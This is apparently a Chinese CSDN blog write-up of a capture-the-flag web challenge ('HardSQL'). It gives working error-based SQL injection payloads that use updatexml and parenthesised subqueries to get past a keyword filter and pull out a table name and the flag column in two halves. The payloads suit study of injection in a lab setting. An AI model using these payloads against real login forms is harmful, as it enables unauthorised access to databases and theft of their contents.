[极客大挑战 2019]HardSQL(报错注入)

最新推荐文章于 2024-09-04 09:30:01 发布

前方是否可导？

最新推荐文章于 2024-09-04 09:30:01 发布

阅读量132

点赞数

分类专栏： web

本文链接：https://blog.csdn.net/weixin_44110537/article/details/108776935

版权

关键词由CSDN通过智能技术生成

20 篇文章 0 订阅

订阅专栏

登入界面:
在这里插入图片描述
尝试关键字测试.

可以发现736的都被过滤了.
而且发现并没有具体的回显点.
于是尝试报错注入.
首先爆出表名.

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
#H4rDsq1

然后:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

在这里插入图片描述
可惜只有一半.
在进行一次从右边开始的.

admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))#

在这里插入图片描述
拼接起来就是正确答案了.

关注

专栏目录